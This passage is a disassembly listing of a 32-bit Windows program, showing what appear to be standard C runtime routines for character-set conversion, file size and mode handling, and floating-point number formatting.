; ---------------------------------------------------------------------------

loc_410790:				; CODE XREF: sub_4106A8:loc_410733j
					; sub_4106A8+93j
		mov	[ebp+var_1C], edi

loc_410793:				; CODE XREF: sub_4106A8+E6j
		cmp	[ebp+var_1C], edi
		jz	short loc_410770
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41083C
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_4107E1
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41D134	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41083C
		mov	[ebp+var_20], ebx
		jmp	short loc_41083C
; ---------------------------------------------------------------------------

loc_4107E1:				; CODE XREF: sub_4106A8+11Aj
		cmp	[ebp+var_2C], edi
		mov	ebx, ds:dword_41D134
		jnz	short loc_410800
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41083C

loc_410800:				; CODE XREF: sub_4106A8+142j
		push	esi
		push	1
		call	sub_407B2A
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		jz	short loc_41083C
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_410831
		push	[ebp+var_20]
		call	sub_4039C3
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_41083C
; ---------------------------------------------------------------------------

loc_410831:				; CODE XREF: sub_4106A8+179j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_41083C
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax

loc_41083C:				; CODE XREF: sub_4106A8+113j
					; sub_4106A8+132j ...
		push	[ebp+var_1C]
		call	sub_40C2EC
		pop	ecx

loc_410845:				; CODE XREF: sub_4106A8+38j
		mov	eax, [ebp+var_20]

loc_410848:				; CODE XREF: sub_4106A8+CAj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_402AD0
		leave
		retn
sub_4106A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410860	proc near		; CODE XREF: sub_40C307+F3p
					; sub_40C307+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_4117B0
sub_410860	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_4117B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088C	proc near		; CODE XREF: sub_40D20A+2A1p
					; sub_40D20A+2C1p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		cmp	dword_424218, esi
		jz	short loc_4108F5
		cmp	dword_424224, 0FFFFFFFEh
		jnz	short loc_4108B5
		call	sub_4117DB

loc_4108B5:				; CODE XREF: sub_41088C+22j
		mov	eax, dword_424224
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4108C5

loc_4108BF:				; CODE XREF: sub_41088C+56j
					; sub_41088C+61j ...
		or	ax, 0FFFFh
		jmp	short loc_410935
; ---------------------------------------------------------------------------

loc_4108C5:				; CODE XREF: sub_41088C+31j
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		call	ds:off_41D0A8
		test	eax, eax
		jnz	short loc_410942
		cmp	dword_424218, 2
		jnz	short loc_4108BF
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4108BF
		mov	dword_424218, esi

loc_4108F5:				; CODE XREF: sub_41088C+19j
		push	esi
		push	esi
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	ds:off_41D0AC
		push	eax
		call	ds:dword_41D134	; WideCharToMultiByte
		mov	ecx, dword_424224
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4108BF
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ecx
		call	ds:off_41D0B0
		test	eax, eax
		jz	short loc_4108BF

loc_410931:				; CODE XREF: sub_41088C+C0j
		mov	ax, [ebp+arg_0]

loc_410935:				; CODE XREF: sub_41088C+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
; ---------------------------------------------------------------------------

loc_410942:				; CODE XREF: sub_41088C+4Dj
		mov	dword_424218, 1
		jmp	short loc_410931
sub_41088C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_407C0D
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410957	proc near		; CODE XREF: sub_40E422+36Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	1
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_40D06E
		mov	[ebp+var_18], eax
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], edx
		jz	short loc_4109DD
		push	2
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D06E
		mov	ecx, eax
		and	ecx, edx
		add	esp, 10h
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4109DD
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		sub	esi, eax
		sbb	edi, edx
		js	loc_410A72
		jg	short loc_4109B6
		cmp	esi, ebx
		jbe	loc_410A72

loc_4109B6:				; CODE XREF: sub_410957+55j
		mov	ebx, 1000h
		push	ebx
		push	8
		call	ds:dword_41D0FC	; GetProcessHeap
		push	eax
		call	ds:dword_41D110	; RtlAllocateHeap
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_4109E9
		call	sub_405B83
		mov	dword ptr [eax], 0Ch

loc_4109DD:				; CODE XREF: sub_410957+2Bj
					; sub_410957+43j ...
		call	sub_405B83
		mov	eax, [eax]

loc_4109E4:				; CODE XREF: sub_410957+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4109E9:				; CODE XREF: sub_410957+79j
		push	8000h
		push	[ebp+arg_0]
		call	sub_410B7D
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax

loc_4109FB:				; CODE XREF: sub_410957+CFj
					; sub_410957+D3j
		test	edi, edi
		jl	short loc_410A09
		jg	short loc_410A05
		cmp	esi, ebx
		jb	short loc_410A09

loc_410A05:				; CODE XREF: sub_410957+A8j
		mov	eax, ebx
		jmp	short loc_410A0B
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_410957+A6j
					; sub_410957+ACj
		mov	eax, esi

loc_410A0B:				; CODE XREF: sub_410957+B0j
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40D20A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410A55
		cdq
		sub	esi, eax
		sbb	edi, edx
		js	short loc_410A2C
		jg	short loc_4109FB
		test	esi, esi
		ja	short loc_4109FB

loc_410A2C:				; CODE XREF: sub_410957+CDj
		mov	esi, [ebp+var_10]

loc_410A2F:				; CODE XREF: sub_410957+119j
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_410B7D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	0
		call	ds:dword_41D0FC	; GetProcessHeap
		push	eax
		call	ds:dword_41D108	; RtlFreeHeap
		xor	ebx, ebx
		jmp	loc_410ADB
; ---------------------------------------------------------------------------

loc_410A55:				; CODE XREF: sub_410957+C6j
		call	sub_405B96
		cmp	dword ptr [eax], 5
		jnz	short loc_410A6A
		call	sub_405B83
		mov	dword ptr [eax], 0Dh

loc_410A6A:				; CODE XREF: sub_410957+106j
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_410A2F
; ---------------------------------------------------------------------------

loc_410A72:				; CODE XREF: sub_410957+4Fj
					; sub_410957+59j
		cmp	edi, ebx
		jg	short loc_410AE7
		jl	short loc_410A7C
		cmp	esi, ebx
		jnb	short loc_410AE7

loc_410A7C:				; CODE XREF: sub_410957+11Fj
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D06E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4109DD
		push	[ebp+arg_0]
		call	sub_40F12D
		pop	ecx
		push	eax
		call	ds:off_41D0A4
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		cdq
		mov	[ebp+var_10], eax
		and	eax, edx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], edx
		jnz	short loc_410AE7
		call	sub_405B83
		mov	dword ptr [eax], 0Dh
		call	sub_405B96
		mov	esi, eax
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	[esi], eax
		mov	esi, [ebp+var_10]

loc_410ADB:				; CODE XREF: sub_410957+F9j
		and	esi, [ebp+var_C]
		cmp	esi, 0FFFFFFFFh
		jz	loc_4109DD

loc_410AE7:				; CODE XREF: sub_410957+11Dj
					; sub_410957+123j ...
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	sub_40D06E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4109DD
		xor	eax, eax
		jmp	loc_4109E4
sub_410957	endp


; =============== S U B	R O U T	I N E =======================================



sub_410B0B	proc near		; CODE XREF: sub_40E422+322p
					; sub_40E422+37Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_40F12D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_410B2C
		call	sub_405B83
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_410B2C:				; CODE XREF: sub_410B0B+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:off_41D074
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_410B4D
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		jmp	short loc_410B4F
; ---------------------------------------------------------------------------

loc_410B4D:				; CODE XREF: sub_410B0B+38j
		xor	eax, eax

loc_410B4F:				; CODE XREF: sub_410B0B+40j
		test	eax, eax
		jz	short loc_410B5F
		push	eax
		call	sub_405BA9
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_410B7A
; ---------------------------------------------------------------------------

loc_410B5F:				; CODE XREF: sub_410B0B+46j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_435700[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi

loc_410B7A:				; CODE XREF: sub_410B0B+52j
		pop	edi
		pop	esi
		retn
sub_410B0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B7D	proc near		; CODE XREF: sub_410957+9Ap
					; sub_410957+DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, edx
		sar	eax, 5
		and	edx, 1Fh
		imul	edx, 28h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		lea	esi, ds:435700h[eax*4]
		mov	eax, [esi]
		lea	ecx, [eax+edx]
		movzx	eax, byte ptr [ecx+4]
		and	eax, 80h
		mov	[ebp+arg_0], eax
		mov	al, [ecx+24h]
		add	al, al
		movsx	eax, al
		push	edi
		mov	edi, 4000h
		sar	eax, 1
		cmp	ebx, edi
		jz	short loc_410C0F
		cmp	ebx, 8000h
		jz	short loc_410C09
		cmp	ebx, 10000h
		jz	short loc_410BF5
		cmp	ebx, 20000h
		jz	short loc_410BF5
		cmp	ebx, 40000h
		jnz	short loc_410C1C
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 81h
		or	dl, 1

loc_410BF1:				; CODE XREF: sub_410B7D+8Aj
		mov	[ecx], dl
		jmp	short loc_410C1C
; ---------------------------------------------------------------------------

loc_410BF5:				; CODE XREF: sub_410B7D+50j
					; sub_410B7D+58j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 82h
		or	dl, 2
		jmp	short loc_410BF1
; ---------------------------------------------------------------------------

loc_410C09:				; CODE XREF: sub_410B7D+48j
		and	byte ptr [ecx+4], 7Fh
		jmp	short loc_410C1C
; ---------------------------------------------------------------------------

loc_410C0F:				; CODE XREF: sub_410B7D+40j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		and	byte ptr [ecx],	80h

loc_410C1C:				; CODE XREF: sub_410B7D+60j
					; sub_410B7D+76j ...
		cmp	[ebp+arg_0], 0
		jnz	short loc_410C29
		mov	eax, 8000h
		jmp	short loc_410C34
; ---------------------------------------------------------------------------

loc_410C29:				; CODE XREF: sub_410B7D+A3j
		neg	eax
		sbb	eax, eax
		and	eax, 0C000h
		add	eax, edi

loc_410C34:				; CODE XREF: sub_410B7D+AAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410B7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C39	proc near		; CODE XREF: sub_40E422+40p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_410C61
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_410C61:				; CODE XREF: sub_410C39+9j
		mov	ecx, dword_427FA0
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_410C39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C6D	proc near		; CODE XREF: sub_410DE8+6p
					; DATA XREF: sub_40FABC+55o ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	esi, [ebp+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_405B21
		cmp	eax, 65h
		jmp	short loc_410C9C
; ---------------------------------------------------------------------------

loc_410C90:				; CODE XREF: sub_410C6D+30j
		inc	esi
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_40F52F
		test	eax, eax

loc_410C9C:				; CODE XREF: sub_410C6D+21j
		pop	ecx
		jnz	short loc_410C90
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_405B21
		cmp	eax, 78h
		pop	ecx
		jnz	short loc_410CB0
		inc	esi
		inc	esi

loc_410CB0:				; CODE XREF: sub_410C6D+3Fj
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	al, [esi]
		mov	cl, [ecx]
		mov	[esi], cl
		inc	esi

loc_410CC2:				; CODE XREF: sub_410C6D+60j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_410CC2
		cmp	[ebp+var_4], cl
		pop	esi
		jz	short locret_410CDC
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_410CDC:				; CODE XREF: sub_410C6D+66j
		leave
		retn
sub_410C6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CDE	proc near		; CODE XREF: sub_410DF6+6p
					; DATA XREF: sub_40FABC+4Bo ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		test	cl, cl
		mov	esi, [ebp+var_10]
		jz	short loc_410D11
		mov	edx, [esi+0BCh]
		mov	edx, [edx]
		mov	dl, [edx]

loc_410D06:				; CODE XREF: sub_410CDE+31j
		cmp	cl, dl
		jz	short loc_410D11
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_410D06

loc_410D11:				; CODE XREF: sub_410CDE+1Cj
					; sub_410CDE+2Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_410D4E
		jmp	short loc_410D25
; ---------------------------------------------------------------------------

loc_410D1A:				; CODE XREF: sub_410CDE+4Bj
		cmp	cl, 65h
		jz	short loc_410D2B
		cmp	cl, 45h
		jz	short loc_410D2B
		inc	eax

loc_410D25:				; CODE XREF: sub_410CDE+3Aj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_410D1A

loc_410D2B:				; CODE XREF: sub_410CDE+3Fj
					; sub_410CDE+44j
		mov	edx, eax

loc_410D2D:				; CODE XREF: sub_410CDE+53j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_410D2D
		mov	ecx, [esi+0BCh]
		mov	ecx, [ecx]
		push	ebx
		mov	bl, [eax]
		cmp	bl, [ecx]
		pop	ebx
		jnz	short loc_410D44
		dec	eax

loc_410D44:				; CODE XREF: sub_410CDE+63j
					; sub_410CDE+6Ej
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_410D44

loc_410D4E:				; CODE XREF: sub_410CDE+38j
		cmp	[ebp+var_4], 0
		pop	esi
		jz	short locret_410D5C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_410D5C:				; CODE XREF: sub_410CDE+75j
		leave
		retn
sub_410CDE	endp

; ---------------------------------------------------------------------------
word_410D5E	dw 0EED9h		; DATA XREF: sub_40FABC+28o
					; .data:off_423F90o
		dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D74	proc near		; CODE XREF: sub_410DB4+Ep
					; DATA XREF: sub_40FABC+41o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		jz	short loc_410D9E
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41185D
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_410DAF
; ---------------------------------------------------------------------------

loc_410D9E:				; CODE XREF: sub_410D74+Fj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_411903
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx

loc_410DAF:				; CODE XREF: sub_410D74+28j
		add	esp, 0Ch
		leave
		retn
sub_410D74	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DB4	proc near		; DATA XREF: sub_40FABC+14o
					; .data:off_423F88o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_410D74
		add	esp, 10h
		retn
sub_410DB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DCB	proc near		; CODE XREF: sub_410E04+88p
					; sub_4113CE+8Ap ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_410DE6
		push	esi
		call	sub_4044E0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_407720
		add	esp, 10h

loc_410DE6:				; CODE XREF: sub_410DCB+5j
		pop	esi
		retn
sub_410DCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DE8	proc near		; DATA XREF: sub_40FABC+1Eo
					; .data:off_423F8Co

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_410C6D
		pop	ecx
		pop	ecx
		retn
sub_410DE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DF6	proc near		; DATA XREF: sub_40FABC+Ao
					; .data:off_423F84o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_410CDE
		pop	ecx
		pop	ecx
		retn
sub_410DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E04	proc near		; CODE XREF: sub_410F71+B7p
					; sub_41157C+E1p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_10]
		mov	ebx, eax
		call	sub_402ADF
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_410E4B

loc_410E20:				; CODE XREF: sub_410E04+4Aj
		call	sub_405B83
		push	16h

loc_410E27:				; CODE XREF: sub_410E04+67j
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_410E44
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_410E44:				; CODE XREF: sub_410E04+37j
		mov	eax, edi
		jmp	loc_410F6C
; ---------------------------------------------------------------------------

loc_410E4B:				; CODE XREF: sub_410E04+1Aj
		cmp	[ebp+arg_0], esi
		jbe	short loc_410E20
		cmp	[ebp+arg_4], esi
		jle	short loc_410E5A
		mov	eax, [ebp+arg_4]
		jmp	short loc_410E5C
; ---------------------------------------------------------------------------

loc_410E5A:				; CODE XREF: sub_410E04+4Fj
		xor	eax, eax

loc_410E5C:				; CODE XREF: sub_410E04+54j
		add	eax, 9
		cmp	[ebp+arg_0], eax
		ja	short loc_410E6D
		call	sub_405B83
		push	22h
		jmp	short loc_410E27
; ---------------------------------------------------------------------------

loc_410E6D:				; CODE XREF: sub_410E04+5Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_410E91
		mov	edx, [ebp+arg_C]
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [edx], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_410DCB

loc_410E91:				; CODE XREF: sub_410E04+6Dj
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi], 2Dh
		mov	esi, ebx
		jnz	short loc_410EA1
		mov	byte ptr [ebx],	2Dh
		lea	esi, [ebx+1]

loc_410EA1:				; CODE XREF: sub_410E04+95j
		cmp	[ebp+arg_4], 0
		jle	short loc_410EBF
		lea	eax, [esi+1]
		mov	cl, [eax]
		mov	[esi], cl
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al

loc_410EBF:				; CODE XREF: sub_410E04+A1j
		xor	eax, eax
		cmp	[ebp+arg_10], al
		setz	al
		add	eax, [ebp+arg_4]
		add	esi, eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_410ED7
		or	ebx, 0FFFFFFFFh
		jmp	short loc_410EDC
; ---------------------------------------------------------------------------

loc_410ED7:				; CODE XREF: sub_410E04+CCj
		sub	ebx, esi
		add	ebx, [ebp+arg_0]

loc_410EDC:				; CODE XREF: sub_410E04+D1j
		push	offset aE000	; "e+000"
		push	ebx
		push	esi
		call	sub_407A85
		add	esp, 0Ch
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_410EFE
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4031FD
		add	esp, 14h

loc_410EFE:				; CODE XREF: sub_410E04+EBj
		cmp	[ebp+arg_8], ebx
		lea	ecx, [esi+2]
		jz	short loc_410F09
		mov	byte ptr [esi],	45h

loc_410F09:				; CODE XREF: sub_410E04+100j
		mov	eax, [edi+0Ch]
		inc	esi
		cmp	byte ptr [eax],	30h
		jz	short loc_410F40
		mov	eax, [edi+4]
		dec	eax
		jns	short loc_410F1D
		neg	eax
		mov	byte ptr [esi],	2Dh

loc_410F1D:				; CODE XREF: sub_410E04+112j
		inc	esi
		cmp	eax, 64h
		jl	short loc_410F2D
		cdq
		push	64h
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_410F2D:				; CODE XREF: sub_410E04+11Dj
		inc	esi
		cmp	eax, 0Ah
		jl	short loc_410F3D
		cdq
		push	0Ah
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_410F3D:				; CODE XREF: sub_410E04+12Dj
		add	[esi+1], al

loc_410F40:				; CODE XREF: sub_410E04+10Cj
		test	byte_427FA4, 1
		jz	short loc_410F5D
		cmp	byte ptr [ecx],	30h
		jnz	short loc_410F5D
		push	3
		lea	eax, [ecx+1]
		push	eax
		push	ecx
		call	sub_407720
		add	esp, 0Ch

loc_410F5D:				; CODE XREF: sub_410E04+143j
					; sub_410E04+148j
		cmp	[ebp+var_4], 0
		jz	short loc_410F6A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_410F6A:				; CODE XREF: sub_410E04+15Dj
		xor	eax, eax

loc_410F6C:				; CODE XREF: sub_410E04+42j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F71	proc near		; CODE XREF: sub_41103F+14p
					; sub_411674+7Cp

var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_411B21
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_410FC1

loc_410FA9:				; CODE XREF: sub_410F71+55j
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_411030
; ---------------------------------------------------------------------------

loc_410FC1:				; CODE XREF: sub_410F71+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_410FA9
		cmp	eax, 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		jnz	short loc_410FD5
		or	eax, 0FFFFFFFFh
		jmp	short loc_410FE9
; ---------------------------------------------------------------------------

loc_410FD5:				; CODE XREF: sub_410F71+5Dj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		sub	eax, ecx

